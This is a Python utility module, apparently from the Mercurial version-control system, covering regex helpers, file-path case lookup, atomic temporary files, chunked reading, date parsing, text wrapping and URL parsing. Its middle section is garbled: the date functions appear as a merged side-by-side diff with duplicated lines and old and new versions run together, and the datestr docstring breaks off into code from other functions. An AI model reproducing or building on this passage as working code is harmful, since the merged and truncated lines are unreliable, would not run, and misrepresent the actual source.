if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
if flags & remod.IGNORECASE:
pat = '(?i)' + pat
if flags & remod.MULTILINE:
pat = '(?m)' + pat
try:
return re2.compile(pat)
except re2.error:
pass
return remod.compile(pat, flags)
@propertycache
def escape(self):
'''Return the version of escape corresponding to self.compile.
This is imperfect because whether re2 or re is used for a particular
function depends on the flags, etc, but it's the best we can do.
'''
global _re2
if _re2 is None:
self._checkre2()
if _re2:
return re2.escape
else:
return remod.escape
re = _re()
_fspathcache = {}
def fspath(name, root):
'''Get name in the case stored in the filesystem
The name should be relative to root, and be normcase-ed for efficiency.
Note that this function is unnecessary, and should not be
called, for case-sensitive filesystems (simply because it's expensive).
The root should be normcase-ed, too.
'''
def _makefspathcacheentry(dir):
return dict((normcase(n), n) for n in os.listdir(dir))
seps = pycompat.ossep
if pycompat.osaltsep:
seps = seps + pycompat.osaltsep
# Protect backslashes. This gets silly very quickly.
seps.replace('\\','\\\\')
pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
dir = os.path.normpath(root)
result = []
for part, sep in pattern.findall(name):
if sep:
result.append(sep)
continue
if dir not in _fspathcache:
_fspathcache[dir] = _makefspathcacheentry(dir)
contents = _fspathcache[dir]
found = contents.get(part)
if not found:
# retry "once per directory" per "dirstate.walk" which
# may take place for each patches of "hg qpush", for example
_fspathcache[dir] = contents = _makefspathcacheentry(dir)
found = contents.get(part)
result.append(found or part)
dir = os.path.join(dir, part)
return ''.join(result)
def checknlink(testfile):
'''check whether hardlink count reporting works properly'''
# testfile may be open, so we need a separate file for checking to
# work around issue2543 (or testfile may get lost on Samba shares)
f1, f2, fp = None, None, None
try:
fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
suffix='1~', dir=os.path.dirname(testfile))
os.close(fd)
f2 = '%s2~' % f1[:-2]
oslink(f1, f2)
# nlinks() may behave differently for files on Windows shares if
# the file is open.
fp = posixfile(f2)
return nlinks(f2) > 1
except OSError:
return False
finally:
if fp is not None:
fp.close()
for f in (f1, f2):
try:
if f is not None:
os.unlink(f)
except OSError:
pass
def endswithsep(path):
'''Check path ends with os.sep or os.altsep.'''
return (path.endswith(pycompat.ossep)
or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
def splitpath(path):
'''Split path by os.sep.
Note that this function does not use os.altsep because this is
an alternative of simple "xxx.split(os.sep)".
It is recommended to use os.path.normpath() before using this
function if need.'''
return path.split(pycompat.ossep)
def gui():
'''Are we running in a GUI?'''
if pycompat.isdarwin:
if 'SSH_CONNECTION' in encoding.environ:
# handle SSH access to a box where the user is logged in
return False
elif getattr(osutil, 'isgui', None):
# check if a CoreGraphics session is available
return osutil.isgui()
else:
# pure build; use a safe default
return True
else:
return pycompat.iswindows or encoding.environ.get("DISPLAY")
def mktempcopy(name, emptyok=False, createmode=None):
"""Create a temporary file with the same contents from name
The permission bits are copied from the original file.
If the temporary file is going to be truncated immediately, you
can use emptyok=True as an optimization.
Returns the name of the temporary file.
"""
d, fn = os.path.split(name)
fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
os.close(fd)
# Temporary files are created with mode 0600, which is usually not
# what we want. If the original file already exists, just copy
# its mode. Otherwise, manually obey umask.
copymode(name, temp, createmode)
if emptyok:
return temp
try:
try:
ifp = posixfile(name, "rb")
except IOError as inst:
if inst.errno == errno.ENOENT:
return temp
if not getattr(inst, 'filename', None):
inst.filename = name
raise
ofp = posixfile(temp, "wb")
for chunk in filechunkiter(ifp):
ofp.write(chunk)
ifp.close()
ofp.close()
except: # re-raises
try:
os.unlink(temp)
except OSError:
pass
raise
return temp
class filestat(object):
"""help to exactly detect change of a file
'stat' attribute is result of 'os.stat()' if specified 'path'
exists. Otherwise, it is None. This can avoid preparative
'exists()' examination on client side of this class.
"""
def __init__(self, stat):
self.stat = stat
@classmethod
def frompath(cls, path):
try:
stat = os.stat(path)
except OSError as err:
if err.errno != errno.ENOENT:
raise
stat = None
return cls(stat)
@classmethod
def fromfp(cls, fp):
stat = os.fstat(fp.fileno())
return cls(stat)
__hash__ = object.__hash__
def __eq__(self, old):
try:
# if ambiguity between stat of new and old file is
# avoided, comparison of size, ctime and mtime is enough
# to exactly detect change of a file regardless of platform
return (self.stat.st_size == old.stat.st_size and
self.stat.st_ctime == old.stat.st_ctime and
self.stat.st_mtime == old.stat.st_mtime)
except AttributeError:
pass
try:
return self.stat is None and old.stat is None
except AttributeError:
return False
def isambig(self, old):
"""Examine whether new (= self) stat is ambiguous against old one
"S[N]" below means stat of a file at N-th change:
- S[n-1].ctime < S[n].ctime: can detect change of a file
- S[n-1].ctime == S[n].ctime
- S[n-1].ctime < S[n].mtime: means natural advancing (*1)
- S[n-1].ctime == S[n].mtime: is ambiguous (*2)
- S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
- S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
Case (*2) above means that a file was changed twice or more at
same time in sec (= S[n-1].ctime), and comparison of timestamp
is ambiguous.
Base idea to avoid such ambiguity is "advance mtime 1 sec, if
timestamp is ambiguous".
But advancing mtime only in case (*2) doesn't work as
expected, because naturally advanced S[n].mtime in case (*1)
might be equal to manually advanced S[n-1 or earlier].mtime.
Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
treated as ambiguous regardless of mtime, to avoid overlooking
by confliction between such mtime.
Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
S[n].mtime", even if size of a file isn't changed.
"""
try:
return (self.stat.st_ctime == old.stat.st_ctime)
except AttributeError:
return False
def avoidambig(self, path, old):
"""Change file stat of specified path to avoid ambiguity
'old' should be previous filestat of 'path'.
This skips avoiding ambiguity, if a process doesn't have
appropriate privileges for 'path'. This returns False in this
case.
Otherwise, this returns True, as "ambiguity is avoided".
"""
advanced = (old.stat.st_mtime + 1) & 0x7fffffff
try:
os.utime(path, (advanced, advanced))
except OSError as inst:
if inst.errno == errno.EPERM:
# utime() on the file created by another user causes EPERM,
# if a process doesn't have appropriate privileges
return False
raise
return True
def __ne__(self, other):
return not self == other
class atomictempfile(object):
'''writable file object that atomically updates a file
All writes will go to a temporary copy of the original file. Call
close() when you are done writing, and atomictempfile will rename
the temporary copy to the original name, making the changes
visible. If the object is destroyed without being closed, all your
writes are discarded.
checkambig argument of constructor is used with filestat, and is
useful only if target file is guarded by any lock (e.g. repo.lock
or repo.wlock).
'''
def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
self.__name = name # permanent name
self._tempname = mktempcopy(name, emptyok=('w' in mode),
createmode=createmode)
self._fp = posixfile(self._tempname, mode)
self._checkambig = checkambig
# delegated methods
self.read = self._fp.read
self.write = self._fp.write
self.seek = self._fp.seek
self.tell = self._fp.tell
self.fileno = self._fp.fileno
def close(self):
if not self._fp.closed:
self._fp.close()
filename = localpath(self.__name)
oldstat = self._checkambig and filestat.frompath(filename)
if oldstat and oldstat.stat:
rename(self._tempname, filename)
newstat = filestat.frompath(filename)
if newstat.isambig(oldstat):
# stat of changed file is ambiguous to original one
advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
os.utime(filename, (advanced, advanced))
else:
rename(self._tempname, filename)
def discard(self):
if not self._fp.closed:
try:
os.unlink(self._tempname)
except OSError:
pass
self._fp.close()
def __del__(self):
if safehasattr(self, '_fp'): # constructor actually did something
self.discard()
def __enter__(self):
return self
def __exit__(self, exctype, excvalue, traceback):
if exctype is not None:
self.discard()
else:
self.close()
def unlinkpath(f, ignoremissing=False):
"""unlink and remove the directory if it is empty"""
if ignoremissing:
tryunlink(f)
else:
unlink(f)
# try removing directories that might now be empty
try:
removedirs(os.path.dirname(f))
except OSError:
pass
def tryunlink(f):
"""Attempt to remove a file, ignoring ENOENT errors."""
try:
unlink(f)
except OSError as e:
if e.errno != errno.ENOENT:
raise
def makedirs(name, mode=None, notindexed=False):
"""recursive directory creation with parent mode inheritance
Newly created directories are marked as "not to be indexed by
the content indexing service", if ``notindexed`` is specified
for "write" mode access.
"""
try:
makedir(name, notindexed)
except OSError as err:
if err.errno == errno.EEXIST:
return
if err.errno != errno.ENOENT or not name:
raise
parent = os.path.dirname(os.path.abspath(name))
if parent == name:
raise
makedirs(parent, mode, notindexed)
try:
makedir(name, notindexed)
except OSError as err:
# Catch EEXIST to handle races
if err.errno == errno.EEXIST:
return
raise
if mode is not None:
os.chmod(name, mode)
def readfile(path):
with open(path, 'rb') as fp:
return fp.read()
def writefile(path, text):
with open(path, 'wb') as fp:
fp.write(text)
def appendfile(path, text):
with open(path, 'ab') as fp:
fp.write(text)
class chunkbuffer(object):
"""Allow arbitrary sized chunks of data to be efficiently read from an
iterator over chunks of arbitrary size."""
def __init__(self, in_iter):
"""in_iter is the iterator that's iterating over the input chunks."""
def splitbig(chunks):
for chunk in chunks:
if len(chunk) > 2**20:
pos = 0
while pos < len(chunk):
end = pos + 2 ** 18
yield chunk[pos:end]
pos = end
else:
yield chunk
self.iter = splitbig(in_iter)
self._queue = collections.deque()
self._chunkoffset = 0
def read(self, l=None):
"""Read L bytes of data from the iterator of chunks of data.
Returns less than L bytes if the iterator runs dry.
If size parameter is omitted, read everything"""
if l is None:
return ''.join(self.iter)
left = l
buf = []
queue = self._queue
while left > 0:
# refill the queue
if not queue:
target = 2**18
for chunk in self.iter:
queue.append(chunk)
target -= len(chunk)
if target <= 0:
break
if not queue:
break
# The easy way to do this would be to queue.popleft(), modify the
# chunk (if necessary), then queue.appendleft(). However, for cases
# where we read partial chunk content, this incurs 2 dequeue
# mutations and creates a new str for the remaining chunk in the
# queue. Our code below avoids this overhead.
chunk = queue[0]
chunkl = len(chunk)
offset = self._chunkoffset
# Use full chunk.
if offset == 0 and left >= chunkl:
left -= chunkl
queue.popleft()
buf.append(chunk)
# self._chunkoffset remains at 0.
continue
chunkremaining = chunkl - offset
# Use all of unconsumed part of chunk.
if left >= chunkremaining:
left -= chunkremaining
queue.popleft()
# offset == 0 is enabled by block above, so this won't merely
# copy via ``chunk[0:]``.
buf.append(chunk[offset:])
self._chunkoffset = 0
# Partial chunk needed.
else:
buf.append(chunk[offset:offset + left])
self._chunkoffset += left
left -= chunkremaining
return ''.join(buf)
def filechunkiter(f, size=131072, limit=None):
"""Create a generator that produces the data in the file size
(default 131072) bytes at a time, up to optional limit (default is
to read all data). Chunks may be less than size bytes if the
chunk is the last chunk in the file, or the file is a socket or
some other type of file that sometimes reads less data than is
requested."""
assert size >= 0
assert limit is None or limit >= 0
while True:
if limit is None:
nbytes = size
else:
nbytes = min(limit, size)
s = nbytes and f.read(nbytes)
if not s:
break
if limit:
limit -= len(s)
yield s
def makedate(timestamp=None): def makedate(timestamp=None):
'''Return a unix timestamp (or the current time) as a (unixtime, '''Return a unix timestamp (or the current time) as a (unixtime,
offset) tuple based off the local timezone.''' offset) tuple based off the local timezone.'''
if timestamp is None: if timestamp is None:
timestamp = time.time() timestamp = time.time()
if timestamp < 0: if timestamp < 0:
hint = _("check your clock") hint = _("check your clock")
raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) raise error.Abort(_("negative timestamp: %d") % timestamp, hint=hint)
delta = (datetime.datetime.utcfromtimestamp(timestamp) - delta = (datetime.datetime.utcfromtimestamp(timestamp) -
datetime.datetime.fromtimestamp(timestamp)) datetime.datetime.fromtimestamp(timestamp))
tz = delta.days * 86400 + delta.seconds tz = delta.days * 86400 + delta.seconds
return timestamp, tz return timestamp, tz
def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
"""represent a (unixtime, offset) tuple as a localized time. """represent a (unixtime, offset) tuple as a localized time.
unixtime is seconds since the epoch, and offset is the time zone's unixtime is seconds since the epoch, and offset is the time zone's
return parsedate(date, extendeddateformats, d)[0] return parsedate(date, extendeddateformats, d)[0]
def upper(date): def upper(date):
d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
for days in ("31", "30", "29"): for days in ("31", "30", "29"):
try: try:
d["d"] = days d["d"] = days
return parsedate(date, extendeddateformats, d)[0] return parsedate(date, extendeddateformats, d)[0]
except Abort: except error.Abort:
pass pass
d["d"] = "28" d["d"] = "28"
return parsedate(date, extendeddateformats, d)[0] return parsedate(date, extendeddateformats, d)[0]
date = date.strip() date = date.strip()
if not date: if not date:
raise Abort(_("dates cannot consist entirely of whitespace")) raise error.Abort(_("dates cannot consist entirely of whitespace"))
elif date[0] == "<": elif date[0] == "<":
if not date[1:]: if not date[1:]:
raise Abort(_("invalid day spec, use '<DATE'")) raise error.Abort(_("invalid day spec, use '<DATE'"))
when = upper(date[1:]) when = upper(date[1:])
return lambda x: x <= when return lambda x: x <= when
elif date[0] == ">": elif date[0] == ">":
if not date[1:]: if not date[1:]:
raise Abort(_("invalid day spec, use '>DATE'")) raise error.Abort(_("invalid day spec, use '>DATE'"))
when = lower(date[1:]) when = lower(date[1:])
return lambda x: x >= when return lambda x: x >= when
elif date[0] == "-": elif date[0] == "-":
try: try:
days = int(date[1:]) days = int(date[1:])
except ValueError: except ValueError:
raise Abort(_("invalid day spec: %s") % date[1:]) raise error.Abort(_("invalid day spec: %s") % date[1:])
if days < 0: if days < 0:
raise Abort(_("%s must be nonnegative (see 'hg help dates')") raise error.Abort(_("%s must be nonnegative (see 'hg help dates')")
% date[1:]) % date[1:])
when = makedate()[0] - days * 3600 * 24 when = makedate()[0] - days * 3600 * 24
return lambda x: x >= when return lambda x: x >= when
elif " to " in date: elif " to " in date:
a, b = date.split(" to ") a, b = date.split(" to ")
start, stop = lower(a), upper(b) start, stop = lower(a), upper(b)
return lambda x: x >= start and x <= stop return lambda x: x >= start and x <= stop
else: else:
start, stop = lower(date), upper(date) start, stop = lower(date), upper(date)
return lambda x: x >= start and x <= stop return lambda x: x >= start and x <= stop
def stringmatcher(pattern, casesensitive=True):
"""
accepts a string, possibly starting with 're:' or 'literal:' prefix.
returns the matcher name, pattern, and matcher function.
missing or unknown prefixes are treated as literal matches.
helper for tests:
>>> def test(pattern, *tests):
... kind, pattern, matcher = stringmatcher(pattern)
... return (kind, pattern, [bool(matcher(t)) for t in tests])
>>> def itest(pattern, *tests):
... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
... return (kind, pattern, [bool(matcher(t)) for t in tests])
exact matching (no prefix):
>>> test(b'abcdefg', b'abc', b'def', b'abcdefg')
('literal', 'abcdefg', [False, False, True])
regex matching ('re:' prefix)
>>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar')
('re', 'a.+b', [False, False, True])
force exact matches ('literal:' prefix)
>>> test(b'literal:re:foobar', b'foobar', b're:foobar')
('literal', 're:foobar', [False, True])
unknown prefixes are ignored and treated as literals
>>> test(b'foo:bar', b'foo', b'bar', b'foo:bar')
('literal', 'foo:bar', [False, False, True])
case insensitive regex matches
>>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar')
('re', 'A.+b', [False, False, True])
case insensitive literal matches
>>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg')
('literal', 'ABCDEFG', [False, False, True])
"""
if pattern.startswith('re:'):
pattern = pattern[3:]
try:
flags = 0
if not casesensitive:
flags = remod.I
regex = remod.compile(pattern, flags)
except remod.error as e:
raise error.ParseError(_('invalid regular expression: %s')
% e)
return 're', pattern, regex.search
elif pattern.startswith('literal:'):
pattern = pattern[8:]
match = pattern.__eq__
if not casesensitive:
ipat = encoding.lower(pattern)
match = lambda s: ipat == encoding.lower(s)
return 'literal', pattern, match
def shortuser(user):
"""Return a short representation of a user name or email address."""
f = user.find('@')
if f >= 0:
user = user[:f]
f = user.find('<')
if f >= 0:
user = user[f + 1:]
f = user.find(' ')
if f >= 0:
user = user[:f]
f = user.find('.')
if f >= 0:
user = user[:f]
return user
def emailuser(user):
"""Return the user portion of an email address."""
f = user.find('@')
if f >= 0:
user = user[:f]
f = user.find('<')
if f >= 0:
user = user[f + 1:]
return user
def email(author):
'''get email of author.'''
r = author.find('>')
if r == -1:
r = None
return author[author.find('<') + 1:r]
def ellipsis(text, maxlength=400):
"""Trim string to at most maxlength (default: 400) columns in display."""
return encoding.trim(text, maxlength, ellipsis='...')
def unitcountfn(*unittable):
'''return a function that renders a readable count of some quantity'''
def go(count):
for multiplier, divisor, format in unittable:
if abs(count) >= divisor * multiplier:
return format % (count / float(divisor))
return unittable[-1][2] % count
return go
def processlinerange(fromline, toline):
"""Check that linerange <fromline>:<toline> makes sense and return a
0-based range.
>>> processlinerange(10, 20)
(9, 20)
>>> processlinerange(2, 1)
Traceback (most recent call last):
...
ParseError: line range must be positive
>>> processlinerange(0, 5)
Traceback (most recent call last):
...
ParseError: fromline must be strictly positive
"""
if toline - fromline < 0:
raise error.ParseError(_("line range must be positive"))
if fromline < 1:
raise error.ParseError(_("fromline must be strictly positive"))
return fromline - 1, toline
bytecount = unitcountfn(
(100, 1 << 30, _('%.0f GB')),
(10, 1 << 30, _('%.1f GB')),
(1, 1 << 30, _('%.2f GB')),
(100, 1 << 20, _('%.0f MB')),
(10, 1 << 20, _('%.1f MB')),
(1, 1 << 20, _('%.2f MB')),
(100, 1 << 10, _('%.0f KB')),
(10, 1 << 10, _('%.1f KB')),
(1, 1 << 10, _('%.2f KB')),
(1, 1, _('%.0f bytes')),
)
# Matches a single EOL which can either be a CRLF where repeated CR
# are removed or a LF. We do not care about old Macintosh files, so a
# stray CR is an error.
_eolre = remod.compile(br'\r*\n')
def tolf(s):
return _eolre.sub('\n', s)
def tocrlf(s):
return _eolre.sub('\r\n', s)
if pycompat.oslinesep == '\r\n':
tonativeeol = tocrlf
fromnativeeol = tolf
else:
tonativeeol = pycompat.identity
fromnativeeol = pycompat.identity
def escapestr(s):
# call underlying function of s.encode('string_escape') directly for
# Python 3 compatibility
return codecs.escape_encode(s)[0]
def unescapestr(s):
return codecs.escape_decode(s)[0]
def forcebytestr(obj):
"""Portably format an arbitrary object (e.g. exception) into a byte
string."""
try:
return pycompat.bytestr(obj)
except UnicodeEncodeError:
# non-ascii string, may be lossy
return pycompat.bytestr(encoding.strtolocal(str(obj)))
def uirepr(s):
# Avoid double backslash in Windows path repr()
return repr(s).replace('\\\\', '\\')
# delay import of textwrap
def MBTextWrapper(**kwargs):
class tw(textwrap.TextWrapper):
"""
Extend TextWrapper for width-awareness.
Neither number of 'bytes' in any encoding nor 'characters' is
appropriate to calculate terminal columns for specified string.
Original TextWrapper implementation uses built-in 'len()' directly,
so overriding is needed to use width information of each characters.
In addition, characters classified into 'ambiguous' width are
treated as wide in East Asian area, but as narrow in other.
This requires use decision to determine width of such characters.
"""
def _cutdown(self, ucstr, space_left):
l = 0
colwidth = encoding.ucolwidth
for i in xrange(len(ucstr)):
l += colwidth(ucstr[i])
if space_left < l:
return (ucstr[:i], ucstr[i:])
return ucstr, ''
# overriding of base class
def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
space_left = max(width - cur_len, 1)
if self.break_long_words:
cut, res = self._cutdown(reversed_chunks[-1], space_left)
cur_line.append(cut)
reversed_chunks[-1] = res
elif not cur_line:
cur_line.append(reversed_chunks.pop())
# this overriding code is imported from TextWrapper of Python 2.6
# to calculate columns of string by 'encoding.ucolwidth()'
def _wrap_chunks(self, chunks):
colwidth = encoding.ucolwidth
lines = []
if self.width <= 0:
raise ValueError("invalid width %r (must be > 0)" % self.width)
# Arrange in reverse order so items can be efficiently popped
# from a stack of chucks.
chunks.reverse()
while chunks:
# Start the list of chunks that will make up the current line.
# cur_len is just the length of all the chunks in cur_line.
cur_line = []
cur_len = 0
# Figure out which static string will prefix this line.
if lines:
indent = self.subsequent_indent
else:
indent = self.initial_indent
# Maximum width for this line.
width = self.width - len(indent)
# First chunk on line is whitespace -- drop it, unless this
# is the very beginning of the text (i.e. no lines started yet).
if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
del chunks[-1]
while chunks:
l = colwidth(chunks[-1])
# Can at least squeeze this chunk onto the current line.
if cur_len + l <= width:
cur_line.append(chunks.pop())
cur_len += l
# Nope, this line is full.
else:
break
# The current line is full, and the next chunk is too big to
# fit on *any* line (not just this one).
if chunks and colwidth(chunks[-1]) > width:
self._handle_long_word(chunks, cur_line, cur_len, width)
# If the last chunk on this line is all whitespace, drop it.
if (self.drop_whitespace and
cur_line and cur_line[-1].strip() == r''):
del cur_line[-1]
# Convert current line back to a string and store it in list
# of all lines (return value).
if cur_line:
lines.append(indent + r''.join(cur_line))
return lines
global MBTextWrapper
MBTextWrapper = tw
return tw(**kwargs)
def wrap(line, width, initindent='', hangindent=''):
maxindent = max(len(hangindent), len(initindent))
if width <= maxindent:
# adjust for weird terminal size
width = max(78, maxindent + 1)
line = line.decode(pycompat.sysstr(encoding.encoding),
pycompat.sysstr(encoding.encodingmode))
initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
pycompat.sysstr(encoding.encodingmode))
hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
pycompat.sysstr(encoding.encodingmode))
wrapper = MBTextWrapper(width=width,
initial_indent=initindent,
subsequent_indent=hangindent)
return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
if (pyplatform.python_implementation() == 'CPython' and
sys.version_info < (3, 0)):
# There is an issue in CPython that some IO methods do not handle EINTR
# correctly. The following table shows what CPython version (and functions)
# are affected (buggy: has the EINTR bug, okay: otherwise):
#
# | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
# --------------------------------------------------
# fp.__iter__ | buggy | buggy | okay
# fp.read* | buggy | okay [1] | okay
#
# [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
#
# Here we workaround the EINTR issue for fileobj.__iter__. Other methods
# like "read*" are ignored for now, as Python < 2.7.4 is a minority.
#
# Although we can workaround the EINTR issue for fp.__iter__, it is slower:
# "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
# CPython 2, because CPython 2 maintains an internal readahead buffer for
# fp.__iter__ but not other fp.read* methods.
#
# On modern systems like Linux, the "read" syscall cannot be interrupted
# when reading "fast" files like on-disk files. So the EINTR issue only
# affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
# files approximately as "fast" files and use the fast (unsafe) code path,
# to minimize the performance impact.
if sys.version_info >= (2, 7, 4):
# fp.readline deals with EINTR correctly, use it as a workaround.
def _safeiterfile(fp):
return iter(fp.readline, '')
else:
# fp.read* are broken too, manually deal with EINTR in a stupid way.
# note: this may block longer than necessary because of bufsize.
def _safeiterfile(fp, bufsize=4096):
fd = fp.fileno()
line = ''
while True:
try:
buf = os.read(fd, bufsize)
except OSError as ex:
# os.read only raises EINTR before any data is read
if ex.errno == errno.EINTR:
continue
else:
raise
line += buf
if '\n' in buf:
splitted = line.splitlines(True)
line = ''
for l in splitted:
if l[-1] == '\n':
yield l
else:
line = l
if not buf:
break
if line:
yield line
def iterfile(fp):
fastpath = True
if type(fp) is file:
fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
if fastpath:
return fp
else:
return _safeiterfile(fp)
else:
# PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
def iterfile(fp):
return fp
def iterlines(iterator):
for chunk in iterator:
for line in chunk.splitlines():
yield line
def expandpath(path):
return os.path.expanduser(os.path.expandvars(path))
def hgcmd():
"""Return the command used to execute current hg
This is different from hgexecutable() because on Windows we want
to avoid things opening new shell windows like batch files, so we
get either the python call or current executable.
"""
if mainfrozen():
if getattr(sys, 'frozen', None) == 'macosx_app':
# Env variable set by py2app
return [encoding.environ['EXECUTABLEPATH']]
else:
return [pycompat.sysexecutable]
return gethgcmd()
def rundetached(args, condfn):
"""Execute the argument list in a detached process.
condfn is a callable which is called repeatedly and should return
True once the child process is known to have started successfully.
At this point, the child process PID is returned. If the child
process fails to start or finishes before condfn() evaluates to
True, return -1.
"""
# Windows case is easier because the child process is either
# successfully starting and validating the condition or exiting
# on failure. We just poll on its PID. On Unix, if the child
# process fails to start, it will be left in a zombie state until
# the parent wait on it, which we cannot do since we expect a long
# running process on success. Instead we listen for SIGCHLD telling
# us our child process terminated.
terminated = set()
def handler(signum, frame):
terminated.add(os.wait())
prevhandler = None
SIGCHLD = getattr(signal, 'SIGCHLD', None)
if SIGCHLD is not None:
prevhandler = signal.signal(SIGCHLD, handler)
try:
pid = spawndetached(args)
while not condfn():
if ((pid in terminated or not testpid(pid))
and not condfn()):
return -1
time.sleep(0.1)
return pid
finally:
if prevhandler is not None:
signal.signal(signal.SIGCHLD, prevhandler)
def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
"""Return the result of interpolating items in the mapping into string s.
prefix is a single character string, or a two character string with
a backslash as the first character if the prefix needs to be escaped in
a regular expression.
fn is an optional function that will be applied to the replacement text
just before replacement.
escape_prefix is an optional flag that allows using doubled prefix for
its escaping.
"""
fn = fn or (lambda s: s)
patterns = '|'.join(mapping.keys())
if escape_prefix:
patterns += '|' + prefix
if len(prefix) > 1:
prefix_char = prefix[1:]
else:
prefix_char = prefix
mapping[prefix_char] = prefix_char
r = remod.compile(br'%s(%s)' % (prefix, patterns))
return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
def getport(port):
"""Return the port for a given network service.
If port is an integer, it's returned as is. If it's a string, it's
looked up using socket.getservbyname(). If there's no matching
service, error.Abort is raised.
"""
try:
return int(port)
except ValueError:
pass
try:
return socket.getservbyname(port)
except socket.error:
raise Abort(_("no port number associated with service '%s'") % port)
_booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
'0': False, 'no': False, 'false': False, 'off': False,
'never': False}
def parsebool(s):
"""Parse s into a boolean.
If s is not a valid boolean, returns None.
"""
return _booleans.get(s.lower(), None)
_hextochr = dict((a + b, chr(int(a + b, 16)))
for a in string.hexdigits for b in string.hexdigits)
class url(object):
r"""Reliable URL parser.
This parses URLs and provides attributes for the following
components:
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
Missing components are set to None. The only exception is
fragment, which is set to '' if present but empty.
If parsefragment is False, fragment is included in query. If
parsequery is False, query is included in path. If both are
False, both fragment and query are included in path.
See http://www.ietf.org/rfc/rfc2396.txt for more information.
Note that for backward compatibility reasons, bundle URLs do not
take host names. That means 'bundle://../' has a path of '../'.
Examples:
>>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
>>> url(b'ssh://[::1]:2200//home/joe/repo')
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
>>> url(b'file:///home/joe/repo')
<url scheme: 'file', path: '/home/joe/repo'>
>>> url(b'file:///c:/temp/foo/')
<url scheme: 'file', path: 'c:/temp/foo/'>
>>> url(b'bundle:foo')
<url scheme: 'bundle', path: 'foo'>
>>> url(b'bundle://../foo')
<url scheme: 'bundle', path: '../foo'>
>>> url(br'c:\foo\bar')
<url path: 'c:\\foo\\bar'>
>>> url(br'\\blah\blah\blah')
<url path: '\\\\blah\\blah\\blah'>
>>> url(br'\\blah\blah\blah#baz')
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
>>> url(br'file:///C:\users\me')
<url scheme: 'file', path: 'C:\\users\\me'>
Authentication credentials:
>>> url(b'ssh://joe:xyz@x/repo')
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
>>> url(b'ssh://joe@x/repo')
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
Query strings and fragments:
>>> url(b'http://host/a?b#c')
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
<url scheme: 'http', host: 'host', path: 'a?b#c'>
Empty path:
>>> url(b'')
<url path: ''>
>>> url(b'#a')
<url path: '', fragment: 'a'>
>>> url(b'http://host/')
<url scheme: 'http', host: 'host', path: ''>
>>> url(b'http://host/#a')
<url scheme: 'http', host: 'host', path: '', fragment: 'a'>
Only scheme:
>>> url(b'http:')
<url scheme: 'http'>
"""
_safechars = "!~*'()+"
_safepchars = "/!~*'()+:\\"
_matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
def __init__(self, path, parsequery=True, parsefragment=True):
# We slowly chomp away at path until we have only the path left
self.scheme = self.user = self.passwd = self.host = None
self.port = self.path = self.query = self.fragment = None
self._localpath = True
self._hostport = ''
self._origpath = path
if parsefragment and '#' in path:
path, self.fragment = path.split('#', 1)
# special case for Windows drive letters and UNC paths
if hasdriveletter(path) or path.startswith('\\\\'):
self.path = path
return
# For compatibility reasons, we can't handle bundle paths as
# normal URLS
if path.startswith('bundle:'):
self.scheme = 'bundle'
path = path[7:]
if path.startswith('//'):
path = path[2:]
self.path = path
return
if self._matchscheme(path):
parts = path.split(':', 1)
if parts[0]:
self.scheme, path = parts
self._localpath = False
if not path:
path = None
if self._localpath:
self.path = ''
return
else:
if self._localpath:
self.path = path
return
if parsequery and '?' in path:
path, self.query = path.split('?', 1)
if not path:
path = None
if not self.query:
self.query = None
# // is required to specify a host/authority
if path and path.startswith('//'):
parts = path[2:].split('/', 1)
if len(parts) > 1:
self.host, path = parts
else:
self.host = parts[0]
path = None
if not self.host:
self.host = None
# path of file:///d is /d
# path of file:///d:/ is d:/, not /d:/
if path and not hasdriveletter(path):
path = '/' + path
if self.host and '@' in self.host:
self.user, self.host = self.host.rsplit('@', 1)
if ':' in self.user:
self.user, self.passwd = self.user.split(':', 1)
if not self.host:
self.host = None
# Don't split on colons in IPv6 addresses without ports
if (self.host and ':' in self.host and
not (self.host.startswith('[') and self.host.endswith(']'))):
self._hostport = self.host
self.host, self.port = self.host.rsplit(':', 1)
if not self.host:
self.host = None
